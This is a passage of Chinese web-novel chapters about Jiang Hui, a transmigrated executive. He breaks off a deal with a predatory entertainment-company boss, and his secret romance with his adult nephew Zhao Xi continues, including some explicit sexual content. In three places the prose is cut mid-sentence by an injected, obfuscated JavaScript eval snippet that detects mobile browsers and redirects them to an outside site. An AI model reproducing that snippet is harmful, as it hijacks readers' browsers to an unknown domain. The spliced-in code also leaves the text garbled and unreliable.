盛兴娱乐——这个名字,姜洄再熟悉不过了,在他的那个世界里,它如附骨之疽般如影随形,伴随了姜洄整整二十四年。 姜洄前十五年人生的痛苦是姜父给予的,而后近十年,却都是这个公司带来的。 简单来说,在离开姜家之后,那时什么都不懂的他,签下了星探连哄带骗搞定的合约条款,可以帮他做眼睛的手术恢复他的形象,也可以给他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这么多年不见,对方还是和他记忆里一样长得尖嘴猴腮,眼冒精光。 看着和赵大哥差不多的年纪,却是一副比同龄人老了不止几岁的样子,硬要说的话,就是精气不足,感觉人很虚。 刘总脸上的谄笑顿了顿,似乎也没放心上,乐呵呵坐下了。 他们在办公室里茶几旁的沙发上相对而坐,陈助理给他们各自倒了杯茶,然后站在了一边。 一开始还算正常,只是刘总虽然人到了,却不常开口,所有合约洽谈事宜基本都是由两个秘书代为转述。 姜洄越听越皱眉,扶了扶眼镜,只觉得荒谬。 这和一开始定好的合作内容根本不一样,多了许多不明显的小条件,但心思多的都快溢出来了,看得出来,两位秘书也非常为难,说到最后连声音都变低了。 姜洄扫一眼他们的表情,再扫一眼若无其事的刘总,笑了。 这是也把他当冤大头宰呢? 他不语,将茶盏端起来抿了两口,有点被苦到,于是不喝了,面无表情看着对面的人说。 声音停了,他道:“说完了?” 两个秘书点头。 姜洄放下茶盏,已经凉得差不多的茶水溅出了几滴,落在茶几那份合作文件的边沿。 他往后一靠:“陈助,送客。” 气氛陡然凝固。 刘总脸色一变,坐直了些,终于是把游刃有余的二郎腿放下了:“赵总,您这是什么意思?” 41.李家 姜洄道:“刘总觉得呢?” “我浪费我难得的午休时间来会面,你在跟我聊什么?拿我当三言两语就能糊弄过去的废物?” 他冷笑:“你不想诚心和赵氏合作,有的是人想。” 陈助理适时上前一步:“请吧刘总。” 刘总总算慌了神,磕巴片刻,起身道:“别,别啊赵总,您看这不是个误会吗?一定是底下人合同理解错了,您有哪里不满意我们可以慢慢聊……” 赵氏和谁都能合作,但盛兴娱乐却是等很久才等到了这个机会,刘旻一时贪心了些,听说这位赵总不近人情,就想在合约里耍点小聪明捞点好处,没想到赔了夫人又折兵,这下是悔的肠子都青了。 情急之下,见姜洄不说话,他上前一步越过茶几,一把抓过姜洄的手,道:“赵总!本来想聊过公务再叙旧的,但是眼下既然这样,那我也就直说了,您还记得几年前咱们见过一面吗?在您大哥生日会上——” 姜洄差点没忍住厌恶的本能给他一巴掌,强忍着抽回手:“所以呢?” “实不相瞒,我和您大哥也是老同学了,不然也都没法和您家企业合作,都是托了赵大哥的福……”他神色热情道,“以前没想到你这小子竟然这么厉害,如今能把公司管理得蒸蒸日上,也是我有眼不识泰山了,看在你大哥的份上,也看在我们以前见过不少次,关系还不错的份上,您看这次合作能不能……” 姜洄被他这眼神看恶心了,他往一旁坐了坐,看到休息室的门仿佛被风吹得动了动,应该是赵熙发现外面的争执了,于是立刻咳了两声,提醒赵熙不要出来。 大概明白他的意思,门终究还是悄无声息合上了。 陈助理皱着眉挡住了刘总的视线。 姜洄这才把注意力放回他的话上,冷淡道:“我大哥没提过你。” 刘总愣了一下:“您这是什么意思?” 姜洄嘲讽道:“不过是不知道什么角落里窜出来攀亲戚的东西,还真拿自己当一回事了。” 话说到这个份上,刘总脸色也忍不住难看起来。 陈助理也看出来这事没有转圜的余地了,他拦住还要上前纠缠的刘总,加重了语气,道:“刘总——请。” 刘总脸色阴沉地盯着他看了一会儿,咬牙切齿:“好,好啊,赵总如今真是发达了,和以前是完全不一样了,一点旧情都不顾的。” 在姜洄扭头要喊来门口保安时,他还是心不甘情不愿把视线收了回去,丢下一句“你会后悔的”,随即怒气冲冲带着人走了。 陈助理拿着那份文件退出去,办公室的门关上的下一秒,赵熙打开了休息室的房门。 “怎么回事?” 姜洄抬手制止了他几步冲过来的动作,“我没事。” 赵熙在他面前顿住步子,看他表情不爽,顺手倒了杯水过去:“那位刘总,他和小叔叔有过恩怨?” 姜洄摇摇头。从原主记忆来说,他们确实没有恩怨。 他能看到原主有姓刘的记忆,他确实和原主认识,当年赵茴还没成年、在上高中的时候,姓刘的还只是个赵大哥身边的狗腿子,因为和赵大哥同校,又使了一些手段,才和赵茴认识上了。 赵二少那时候身边狐朋狗友一大堆,不少他一个,也没特意防着。 但对方也确实没做什么过分的事情,只是带着赵茴花天酒地,什么奢侈玩什么,有时还免费包场,财大气粗地表示让赵二少尽情地玩。 看着像是对他好,实则干的都是把人往沟里带的事。 但因为他也确实不遗余力在讨好赵茴,念着这个,赵茴和他确实也有些交情,但说不上是朋友,毕竟赵茴身边这样捧着他的人多了去了。 家伙是那个姓刘的总是用一种奇怪的眼神打量他,赵茴一开始没注意,后来发现了,就越发觉得别扭,更不可能和他走得多近了。 赵二少看不懂那是什么眼神,从记忆里翻出这个片段的姜洄却看得明白——姓刘的想睡他。 想到赵茴和姜洄原来的长相有七分相似,姜洄甚至怀疑,他是不是因为当初在赵茴这里没有得手过,所以后来对姜洄才会那么感兴趣。 他心中莫名烦躁,分外不想让姓刘的也用那种眼神看着赵熙。 这也是他刚刚听到这个名字,不愿意让赵熙出来的原因。 还有一些原因是,他也不太想让赵熙和自己,同时出现在一个和他那一世有关的人面前。 这种心理到底是为什么,姜洄也没想明白。 “你们从前真的认识?” 姜洄:“……算是。” 赵熙表情有些古怪:“那他怎么敢将合约改的这样面目全非的?” 姜洄没说话,其实他隐约猜到了一些。 姓刘的把他当成了原主,这么多年没有来往,哪怕听说了姜洄如今的性格,也没有放在心上,甚至这次合作,还想着利用以往那点旧情哄骗一下天真的赵二少。 却没想到如今的赵茴和以前大不一样,三言两语就把他的小心思捅了个干净。 但这些无法对赵熙说,姜洄也不打算对他说。 赵熙自然能察觉出他的不对劲,从听到那位刘总来访开始,姜洄就情绪不高——他似乎……很讨厌刚刚那个人。 “小叔叔,这次合作是不是要中断了?” “嗯。” 姜洄本就做好了对方一旦作妖就取消合作的准备,如今被对方当傻子一样踩到头上,有了正当理由,怎么可能还继续合作下去? 他意识到什么,抬头看向赵熙。 赵熙蹲下来,他把手放在姜洄膝上,牵住姜洄的:“小叔叔可以把这件事交给我来办,我会给你满意的结果。” 姜洄和他对视片刻,看着这张脸,恍惚着仿佛看到了镜子里的自己。 和赵熙相处八年恋爱一年,赵熙早已对他十分亲昵,他已经少有这样略显郑重的时候,姜洄读出了他姿态里的几分试探和小心翼翼,就像赵熙读懂了他的烦躁和那些没有摆在明面上的未尽之言。 赵熙总对他的一切都感兴趣,可惜他的一切姜洄都不想说也不能说。 所以每当赵熙察觉到他的不对时,总会这样试探着他的口风。 但想到刘总那双充满贪婪欲念的眼睛,良久,姜洄抿抿唇,还是生硬地拒绝了:“我自有手段对付他,不用你插手。” 当然不是不相信赵熙能帮他解决问题,而是他不想如今的赵熙和对方有任何牵扯。 赵熙缓缓眨了下眼:“……好吧,如果小叔叔坚持的话。” 姜洄道:“别管他了,也翻不出什么浪花来,你在这呆得够久了,回去吧。” 赵熙起身,在他额头亲了亲,这才离开,关上办公室的门前,又回头看了一眼。 姜洄坐在沙发前,背影单薄清瘦。 他想起之前无意中从王叔那里了解到,从前的赵二少,是个标准的纨绔少爷,整日花天酒地不学无术,也没有不能闻到酒精味道的毛病。 一切的转变在赵大哥,也就是赵熙如今名义上的父亲车祸离世之后,赵二少回到公司,展现出了与从前全然不同的铁血手段与商业天赋。 哪怕经过重大打击,短期之内,一个人的变化会这样大吗? 小叔叔还有很多事情瞒着他,他一直都知道。 赵熙想,没关系,来日方长,只要他们一直在一起,小叔叔总会告诉他的。 他合上门,拎着食盒回到了办公室。 …… 那天以后,因为合作中断,姜洄在不少地方被刘闻世堵过,无非就是念叨着旧情,还要请姜洄再向从前那样去到处玩乐。 姜洄烦不胜烦,好在这么多年保镖还是一直跟着他的,每次人过来了,姜洄转身就走,交给保镖处理就行。 事情的转折点在于一个月后。 刘闻世还是有些手段的,次次被他甩冷脸,次次都能通过各种渠道得到他的行踪并精准堵到他。 不过这次他不向以往那样有闲情逸致、假装偶遇来搭讪了,远远看见姜洄就冲上来,失控地吼道:“是不是你!” 保镖及时上前,动作娴熟地拦下了他。 姜洄转身的步子一顿。 他知道刘闻世在说什么,这段时间,他背地里找了两个私家侦探,搜罗了各种盛兴娱乐的把柄,查到不少腌臜事情。 刘闻世的手不止伸向他,还有许多其他艺人,男女不忌,他底下的人有样学样,也有不少人在搞这种事情。 潜规则这个词在盛兴娱乐是通行牌。 他旗下的艺人大多付不起违约金,没有办法解除合约,也不是所有人都像姜洄这样能被老总盯上——是的,在这里,被刘闻世盯上甚至算是一种荣幸,因为不管他眼神多恶心、逼迫得多紧迫,但他不喜欢强迫来的人,至少还有缓冲的余地。 但其他盯上他们的人手段更脏,刘闻世都是睁一只眼闭一只眼,不闹出人命就随他们去。 有些十八线艺人不堪受辱就自杀了,有些被逼得精神失常被雪藏,总之,盛兴娱乐就像一条表现平静的河流,底下埋藏了不知道多少艺人的尸体与血泪。 姜洄上一世是自身难保,根本没有办法管,刚脱身泥潭就不久就穿越了。 这一世他有意远离这些事情,加上002也说过,任何改变都会影响世界剧情线的运转,如非必要不能随意插手和赵氏集团工作内容无关的事情,他便也很久没关注过娱乐圈,一直没对盛兴娱乐动手。 盛兴娱乐不算是小公司,这么多年来那些事没弄垮它是因为刘闻世做得隐蔽,加上他惯会拍权贵的马屁,不少人愿意保他。 赵家要出手整顿,势必要和那些权贵世家打几番交道,不难,但麻烦。 姜洄从来不觉得自己是个好人,不在他管辖范围的事情,他又不是警察,凭什么费尽力气要违背系统指令去当这个好人? 但刘闻世非要在他眼前晃悠,那就怪不得他了。 中途002发出过一次警告,不过姜洄没理会,照样让人把证据交给了警局。 002也算是习惯了他时不时违规一次的操作,好在这次违规不严重,于是默默消停了。 见他停顿,刘闻世仿佛捕捉到什么证据一般,表情扭曲了一瞬间:“赵总,赵二少!我自问没有惹过你什么,你为什么要这样针对我呢?!要是因为上次的合作您还觉得不愉快,您只要一个电话,对我要打要罚做什么都可以……” 姜洄懒得理他,加快步子走了。 后来一连大半个月,刘闻世都安安分分,不知是不是终于看清了他的态度,又或是因为公司那边没举报查办焦头烂额,暂时没空来找姜洄恶心人。 但姜洄却始终有些不安心,以他对刘闻世的了解,总觉得他不会这样轻易放弃。 又过几天,正工作时,陈助理匆忙敲门进来,在他耳边低声说了句什么。 姜洄微微皱眉:“……请他们过来吧。” 盛兴娱乐背后有权贵撑着,这事姜洄知道,但他没想到赵家已经出手了,竟然还有人会亲自带着对方上门来周旋。 再见到刘闻世那张脸,姜洄压下眉眼的烦躁,向来访的年轻男人客气道:“李先生,有什么事吗?” 李家也是个豪门世家,地位自然是比不上赵家的,这位李先生本名李润,没什么特别,如今在自家公司当一位副总。 但姜洄不得不见他,因为他是赵大哥生前最好的朋友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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还是李润觉得尴尬,低头喝了口茶,打破了冷场:“你什么时候爱喝茶了?我记得,你不是更爱喝饮料吗?” 姜洄平静道:“在公司待客喝茶更多,而且也不是小孩子了,饮料什么的喝多了影响健康。” “说得对。”话虽如此,李润却总觉得哪里怪怪的。 ……对了。 赵茴的表情太平淡了,还隐约有些僵硬。 是太久没见了所以尴尬导致的吗? 可他记得以前的赵茴很活泼啊,而且他们在赵熙成人礼上还聊过几句,虽然那时候赵茴好像一副神游天外的样子…… 李润想了想,没聊几句,还是礼貌告辞了:“你应该很忙吧?我就先走了。改天咱们再聚。” 姜洄点点头,算是应下了。 他起身,有些不太自然道:“我送送李大哥。” 李润客气道:“不用不用,你忙吧。” 巧的是,李润才走出办公室门口,迎面就遇到了来给姜洄送饭的赵熙。 看着这张和赵家人七分像的脸,李润愣了愣:“欸,你是赵熙吧?来给你小叔送饭?好孩子。” 姜洄“嗯”了声,喊他过来叫人。 赵熙停下步子,看一眼一旁的姜洄,再看一眼这位完全陌生的面孔,唇边扬起一个客套却显得十分热情的笑:“您是?” 李润道:“哦,我是你爸爸的朋友,我姓李,你叫我李叔就好,我参加过你成年生日宴的,你忘了?” 赵熙真忘了,成年礼上那么多人,这位也没给他留下什么深刻印象。 但这话显然是不能说的。 赵熙笑笑:“怎么会呢?是李叔一天比一天年轻了,我都没敢认。” 李润忍不住笑:“哎哟,你这孩子性格真讨喜,跟你小叔叔以前真是一模一样。” 赵熙眨了下眼:“是吗?” 李润:“是啊,你小叔叔以前也嘴甜,那个活泼哦,我们这几个玩在一起的没有不喜欢他的——啊,不是说现在不够嘴甜的意思……” 姜洄打断他,声音略有些急促,镜片下的目光却仍旧平和:“李大哥。” 李润:“啊?” 姜洄扯了扯嘴角,没看赵熙:“我们改天聊,赵熙有些事要和我谈,还挺着急的。” 赵熙不着痕迹瞥了他一眼,咳了一声,没插嘴。 李润茫然一秒:“哦哦,行,那我走了。” 姜洄要送人,被赵熙拦下了,他把食盒递给姜洄,道:“我送李叔吧。” 以前基本也会这样,有什么重要客户,赵熙会替他把人送出去。但这回姜洄没接他手上的食盒,凉凉扫了他一眼:“不用了,你进去等我。” 赵熙动作微妙一顿,也不强求,应了一声,和李润道别,乖巧地进门去了。 姜洄把人送到楼下,听李润感慨道:“赵熙这孩子培养得好啊,很有他爸爸当年的样子,性格像你。” 姜洄唇角动了动,眸色微动,没搭腔。 再回办公室时,他先站在门前深吸了一口气。 “唰”一声,门打开。 赵熙笑盈盈站在门后:“小叔叔做什么亏心事了?” 姜洄心跳都停了一拍,左右扫视一圈,才低声回他:“胡说。” “那怎么还站在门口半天不进来?” “哪有半天?”姜洄皱眉。 不就几秒钟吗? 他有些不爽地转移话题道:“你堵在这干什么?真把这当你办公室了?” 赵熙把他拉进门里,顺手将办公室的门锁了。 “小叔叔真会冤枉人,只是恰好开门,看看小叔叔怎么送人还没回来而已。” 42.以后 姜洄不轻不重瞥他一眼,懒得理他。 或许是因为李润来过,姜洄兴致不高,一顿饭吃的格外沉默。 他漱口时,赵熙跟过来,站在一旁道:“我听说李叔是来为刘总求情的?” 姜洄道:“说是还个人情,不算求情。” “那小叔叔有没有答应?” “你说呢?” 赵熙状似随口般问:“李叔以前和小叔叔关系好吗?” 姜洄:“……一般。” “听他说以前小叔叔也有活泼的时候……”赵熙撑着下巴看他,眼眸微亮,“真想看看小叔叔活泼是什么样子。” 活泼的姜洄十五岁错过中考、失去右眼的时候就死了。 姜洄在心里回答。 你问的是姜洄,还是赵茴呢? 但面上他只是笑意淡了些,平静道:“都是以前的旧事了。” 明显不想多提。 赵熙便也没说下去,很自然地又转过话题:“说起来,我今天上午回学校拿东西,遇到件有意思的事。” “什么?” “有个星探跟我说,他觉得我这张脸很适合进娱乐圈。”赵熙语气轻松,“我拒绝了。” 姜洄沉默两秒:“你想进?” “想进我还拒绝干嘛?”赵熙诧异道,“当然是不想,毕竟我都已经进公司工作了,也担不起第二份职业。” 见姜洄仍旧兴致缺缺,甚至更沉默了,赵熙有些奇怪。 他想了想,换了个更不容易出错的话题:“我放假了,明天是周末,小叔叔要不要一起出去逛逛街?” 姜洄意兴阑珊:“逛街有什么意思?” 赵熙道:“家里该置换些日用品了,牙刷拖鞋什么的,还有崽崽的猫抓板该换了。哦,对了,还有给它做绝育。” 崽崽是一只公猫,已经发情过两次了,因为身体原因拖到现在还没绝育,他们商量过,不准备给它配种,所以绝育还是得做。 话说到这个份上,姜洄便点点头:“行吧。” 他才放下漱口杯,赵熙已经走到他面前,和他接了个吻。 姜洄有时候怀疑他对接吻上瘾,不仅黏人,而且每天的早安吻晚安吻必不可少,见缝插针都要亲一下,也不是想特意干什么,就是爱和他处在同一片空间里。 敲门声打断了他们急促的吻。 姜洄条件反射将人推开:“……什么事?” 陈助理道:“还有十分钟就要开会了,老板。” 姜洄才注意到时间,他下午两点有个会议,现在已经一点五十了:“知道了。” 门口脚步声远去。 赵熙勾了勾他的手指,声音委屈:“怎么感觉我们跟偷情一样……” 姜洄心说这不就是偷/情吗,他敷衍道:“回去吧,我要忙了。” 赵熙看一眼他,叹口气:“好吧,听小叔叔的。” 赵熙一开始确实觉得这样偷情一样的关系是有些刺激的,但如今更多的是茫然。 那天小叔叔说不能公开。 他愣了两秒后将这事揭过了,因为看出小叔叔的情绪明显因为这个话题低沉了下来,他不想因为这点事让小叔叔不高兴。 可他其实根本没把这事儿揭过去。 姜洄面容冷肃吐出的那句“不行”,一直回荡在他脑海里。 他告诉自己,这是因为小叔叔还没做好公开的准备。 那以后呢? 小叔叔没有提以后怎么办。 至今有大半年,他也没有提过要公开这件事。 赵熙不禁想,难道要这样偷一辈子的情吗? 还是,小叔叔根本没有想过和他的以后? 但看着姜洄的背影,赵熙还是把这些纷乱的念头压了下去。 也许是他做得还不够,是他还没有给够小叔叔安全感。 …… 第二天他们先去了商场,购置了些日常用品,这不是他们头一次一起出门买东西,以往姜洄虽然不太乐意逛街,但也算状态轻松,和在公司时的冷肃并不一样,也因此赵熙一直很喜欢和他逛街。 但今天不知怎么的,频频走神。 赵熙问他新拖鞋想要什么颜色,姜洄缓了两秒才反应过来他在说什么:“随便。” 赵熙便拿了两双一双白色一双蓝色的兔子拖鞋。 “小叔叔今天在想什么?” 姜洄回神:“……嗯?没有啊。” 赵熙忍不住笑:“算了,走吧。” 姜洄张了张嘴,发现自己这一路都没主动拿过什么东西,购物车都是赵熙填满的,不由有些心虚:“……都买完了?” “差不多了。”赵熙故意叹气:“谁叫小叔叔心不在我这里呢,这个街逛的没意思,我也没办法。” 姜洄咳了一声:“是有些不在状态,抱歉。” 赵熙也不是真想问责他,见他不愿意说在想什么,也不为难,插科打诨几句就把事情揭过去了,拎着东西回了车上,随后才带着留在车上的崽崽去了宠物医院。 七月的太阳已经十分毒辣,姜洄抱着猫,赵熙给他打伞。 这家宠物医院是两人一起精挑细选许久才选出来的医院,绝对正规。 同样的,各项检查价钱也不低,来这里的大多是有钱又心疼猫咪的年轻家长,也因此,一家三口进了医院的门,一瞬间就引来不少人的注视。 前台小姐姐面带微笑起身和他们打招呼,因为提前预约过,一听是要做绝育,就将他们带去了一间手术室外,等待上一只宠物做完手术出来。 崽崽一开始来到陌生环境还有些紧张,没一会儿就直接趴在姜洄腿上眯眼任撸,根本没有意识到自己即将面临什么。 把猫交给医生,本来两人还想陪同,但听说做绝育陪在身边会让猫以为给做绝育的是他们,并因此记恨家长,就打消了这个念头。 等在手术室外面时,周围来往也有不少宠物的家长,但两人不时交流几句,偶尔看看手机,也没有刻意亲密或是疏远什么的,却显得相当自然,有种旁人插不进去的融洽。 “一会儿先回去还是先吃饭?” “都行。” “装白茶的瓶子上次被崽崽打碎了,回去还得记得买只花瓶。” “嗯,记得。” “小叔叔昨晚睡得好像不太安稳?”赵熙忽然想起什么似的,问。 这大半年,由于姜洄坚称自己没病,不愿去看医生,赵熙也没办法为难他。 不过显而易见的是,两人在一起后,姜洄确实比以往要更放松了,做噩梦或失眠的次数在逐步减少,赵熙放心了许多,原本还以为他会就这样慢慢恢复正常。 然而不知是昨天见的那位“李润”刺激到了姜洄心中哪块地方,他昨晚睡梦中翻来覆去,睡得很不安稳。 但面对赵熙的提问,姜洄却又轻描淡写道:“还行……比以前好。不用这么紧张,我说过了,就是睡姿问题。” “……好吧。”赵熙向来不和他争辩这些,只要小叔叔状态在好转就行。 半小时后,做完绝育的崽崽被推出来,还没从麻醉里缓过来,看着虚弱无比。 医生喊了一句:“崽崽家长。” 两人同时站起来。 医生愣了下:“谁是?” 赵熙笑:“我们都是。” 姜洄没否认。 医生不免多看了他们两眼,咳了一声:“记得回去要给它戴上头套避免舔舐伤口,术后禁食禁水12小时……” 离开医院时,有个女生犹豫着走过来,喊住了他们。 “你们好,想问一下两位的关系是……” 赵熙犹豫两秒,看了眼姜洄,似乎在等他回答。 姜洄隐约察觉到她的意图,沉默了下,道:“家人。” 女生茫然一瞬,又满含期待道:“家人?那……请问小哥哥你有对象吗?” 她问的是姜洄。 姜洄顿了顿:“有。” 女生没有多问,得到答案垂头丧气离开了。 两人一路没说话,把崽崽放进猫包放在后座,姜洄上了副驾驶,今天王叔放假,是赵熙开的车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061820|162371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵熙没有立刻启动车子,他开口低声道:“小叔叔刚刚说的对象是我吗?” 姜洄系上安全带的动作微妙一顿:“不然还有谁?” 赵熙轻笑:“我以为小叔叔并没有告诉别人已经谈恋爱的打算。” 姜洄道:“只是个路人,以后不会遇见,她也可以认为我在撒谎。” 所以有没有坦不坦诚恋爱关系不重要,这可以被认为只是拒绝搭讪的一种说辞。 赵熙眨眨眼,看向他,眼里有什么在浮动:“……如果今天是我被问有没有对象呢?” 他轻声道:“小叔叔觉得,我该怎么回答?” 姜洄心里别扭,避开了他探究的视线,轻飘飘地把问题抛了回去:“……你想怎么回答?” 赵熙稍作思索:“我会说,我身边的这位先生,就是我的爱人。” 姜洄眼皮轻轻一颤。 赵熙探身过去,在他脸颊上亲了亲:“小叔叔,有时候也许可以不那么小心,被路人知道你在和我谈恋爱也没什么关系……还是说,你打算一辈子都不和我公开了?” 姜洄心里一突,心道这个问题还是来了。 车载音乐被打开,里面是赵熙录制的一首舒缓的民谣,只有他自己的车里会放。 姜洄很喜欢听。 或者应该说他一直非常喜欢赵熙为了他所录制的一切歌谣。 默了两秒,他说:“那你就有信心,一定能和我在一起一辈子?” 赵熙道:“我是不是没有和小叔叔说过?” “什么?” 赵熙凑近了些,低头在姜洄耳畔道:“和你在一起的时候,我认定的人就只有你一个。” “你怎么能确定今后一定不会变心呢?”姜洄反问。 不是他不相信赵熙,是他不相信人心。 这段感情,一开始就宛如儿戏。 赵熙在学校时周围有更年轻的同学,出了社会也会遇到更好的选择对象,如果哪一天他被富贵繁华迷了眼,也许就会觉得,姜洄也不过如此。 “我和你在一起这么久,有变心吗?” “这才不到一年。” 赵熙抿了抿唇,没有固执坚持:“虽然我不觉得自己会变心,但小叔叔既然有这个顾虑,也可以监督我。” 姜洄扯了扯嘴角,像觉得好笑,他扭过头看向窗外,轻声:“谁有那功夫。” 赵熙笑笑,忽然道:“如果我真的做到了,有奖励吗?” 姜洄挑眉:“……你这话的意思是,已经想好要什么奖励了?” 赵熙道:“什么都瞒不过小叔叔。” “所以你想要什么奖励?” “我国男性到二十二岁就可以结婚。”赵熙说,“如果我做到了,我们就结婚吧。” 姜洄失声一瞬:“……什么?” 赵熙舔了舔唇,眼里全是温柔款款的笑意:“小叔叔不想公开,那我们就不公开,等到哪一天小叔叔完完全全信任我不会变心了……等我二十二岁,我们就解除亲属关系,去结婚,好不好?” 他牵住姜洄的手,温声把他所有拒绝的词句都堵了回去:“到时候年底我们有空,还可以买一辆房车,一起带着崽崽去旅游,去富士山、圣索菲亚教堂、情人崖……所有想去的地方。” “我们一起。” 房车,姜洄一直很感兴趣,不过因为用不到所以一直没买。 而他所一一细数的这些景点,都是姜洄曾经无意间刷视频时偶然提过的一些地方。 他只是随口一说,但赵熙却都记得,他不仅能看得出姜洄其实很想去,还记了这么久。 姜洄良久没有回答。 他目视前方,在赵熙看不清的角度,眼底情绪翻涌,浪花般潮起又潮落。 他被赵熙抓着的手指微微蜷缩了一下,含糊道:“以后再说吧。” 赵熙微微一笑,在他手指骨节处轻轻一吻:“好,以后再说。” 车载音乐舒缓的音调里,他握紧了姜洄的手。 他喜欢以后这个词。 他们的以后。 43.代价 姜洄是很能控制情绪的一个人,他曾经也懵懂天真,一身尖刺,不撞南墙不回头。 学会控制情绪这件事,是在二十岁遭到沈云落的背刺之后。 他没有再对任何一个人真正敞开过心扉,直到和赵熙在一起。 也许是因为在良好的环境和姜洄生涩给予的那份爱里长大,所以赵熙长得和他一样,却一点也不像他。 他年少时和朋友相处明媚阳光,与长辈一同处处妥帖,进了公司多了几分温和,但一样是炽眼夺目的。 正因如此,他才有这个耐心和能力,一点点撬开姜洄封闭的蚌壳。 姜洄有胃病,他就学会了做饭,一年三百六十五天,不管姜洄有没有要求,只要他有空,都会给他做营养餐,生病时吃食更是赵熙一手包揽。 姜洄失眠睡不着,他唱歌哄人,做了噩梦,他会第一时间因为姜洄枕在自己胳膊上的脑袋动了,便敏锐地醒过来,毫无怨言地一次次帮他按摩,缓解情绪灭顶时带来的胃疼。 每年生日,不管怎样他都会给姜洄煮一碗长寿面,只因为听说了长寿面的寓意,希望姜洄健康平安。 哪怕这个生日其实不是姜洄的,哪怕姜洄面上似乎总是对这碗面可有可无……但不得不承认,这种被人记挂在心上的感觉很好。 他记录姜洄的一切,也在乎姜洄的一切。 他记得姜洄的每一个小习惯,了解他每一句话的未尽之言,知道他的喜好与厌恶,顺从他、亲昵他、依赖他,并给他依赖和爱。 好与不好,赵熙好像都能全盘接受。 没有一个人能抵抗这样温水煮青蛙一样,一点点渗透生活的温情攻势。 姜洄也不能。 而从性方面来讲——赵熙也很合格。 他们会在别墅里做/爱,房子里的每一个角落都曾留下过他们的痕迹。 赵熙和他接吻时会忍不住抚摸他的唇瓣,每次亲吻到右眼或是后背的烟疤,姜洄都抖得不成样子,赵熙就轻声笑他:“好敏感啊小叔叔。” 有时恰好碰到阿姨做饭或是保姆上门打扫卫生,赵熙也不会停下来,姜洄怕被发现,一边默默承受着一边忍着不发出声音,在心底把他骂了一万遍。 向来乖巧的侄子此时就会恶劣地动作着在他耳边笑:“小叔叔好紧……张啊。” 说实话,其实姜洄很喜欢这样的他,也喜欢床下处处体贴温和的他。 他承认,他有点离不开赵熙了。 换个说法,或许该说——他有点陷在这段感情里了。 这不是个好征兆。 十一月的天已经冷下来,距离任务结束的时间越来越近了。 姜洄也越来越沉默,不管在公司还是在家里,总是望着窗外发呆。 只有赵熙在的时候才会提起一点精神,刻意掩饰自己的心绪。 但或许是这一年多的恋爱让他变得松懈了太多,以至于这种伪装被赵熙几乎是轻而易举地看破了。 他询问无果,问姜洄:“最近空闲比较多,趁天气还不算特别冷,小叔叔要不要去我学校看看?” 姜洄便想起去年赵熙刚入学还提过这话,而过了这么久了,自己因为各种事务繁忙,也没真的去他学校转过…… 最近空闲确实很多,要是这么清闲了还不出门,赵熙恐怕会以为他又抑郁了。 不想让他更担心,姜洄便点头应了:“可以。” 没过两天,两人一同出现在了江大的校园里。 这所学校姜洄一直有所耳闻,只是从没进来看过,他去过的大学不少,大多是因为拍戏所需,但没有一所是属于自己的。 但江大不一样,某种意义上,江大算是他的大学——是赵熙的,不就是他的吗? 和姜洄所见的其他大学没有什么太大不同,也跟赵熙曾和他描述过的样子99%重合,江大风景秀丽,版图很大,来往都是年轻活力的大学生,还有情侣腻歪在一起。 他们走在其中,也不显得突兀。 姜洄裹着大衣,有一瞬间以为自己也回到了二十几岁。 没有中考前的那场事故,没有进娱乐圈,他上了一所不错的高中,再考上一所不错的大学,然后找了个不错的男朋友,一起走在校园的小路上。 可惜只是恍然。 赵熙上午午饭前有一节课,姜洄原本想下课再来找他,但赵熙却拉着他一起来上课了,理由是外面冷。 姜洄推辞说怕被认出来,赵熙便在上课路上买了个口罩给他戴着,正好天气冷了,倒也不至于显得突兀。 他给姜洄戴上,忽然一笑,牵住姜洄的手。 在外面冷风吹久了,他的手有些凉,赵熙极其自然地帮他搓了搓指关节,好让他的手暖起来。 姜洄一惊,下意识要把手抽回来,赵熙却小声道:“没人认得你了,这也不能牵?” 姜洄挣扎的幅度久小了下来。 没几秒钟,手被他抓着,完全没动静了。 两人鬼鬼祟祟从后门进了思想品德课的课堂,坐在最后一排,姜洄有种比偷/情还刺激的新鲜感。 赵熙忽略四面八方投来的目光,和他咬耳朵:“没事,你不用听课,刷会儿视频,没一会儿就到下课了。” 姜洄眨眨眼,也小声回:“他们怎么都在看我们。” 赵熙瞥了一眼:“哦,可能因为我是系草。” 姜洄:“……你认真点。” 赵熙弯了弯眉眼:“我认真的啊,我们学院的几乎都认识我,这堂课的同学都是我们学院的,可能他们第一次看我带人一起来上课吧。” “没事,你带着口罩呢,他们不知道你是谁。” 姜洄还是微微皱眉,低头避开了那些四面八方投来的打量和好奇的目光。 不注意这些视线的话,其实这堂课体验感还不错,姜洄虽然没上过大学,但他自学过不少东西,听懂这堂课并不难。 看他一直抬着头,哪怕带着口罩也能看出认真,加上气质不俗,老教授点他回答了好几次问题。 姜洄也没学过系统知识,就凭自己的理解回答了一番。 也许正因为观点新颖,听得老教授眼前一亮又一亮。 姜洄坐下后才发觉手心出了汗,赵熙捏捏他的手指,笑眯眯的:“小叔叔真厉害。” 姜洄这才惊觉自己听课太认真忘了装学渣,于是只笑笑不说话。 课后,教授收拾书本,招手喊他出去单聊。 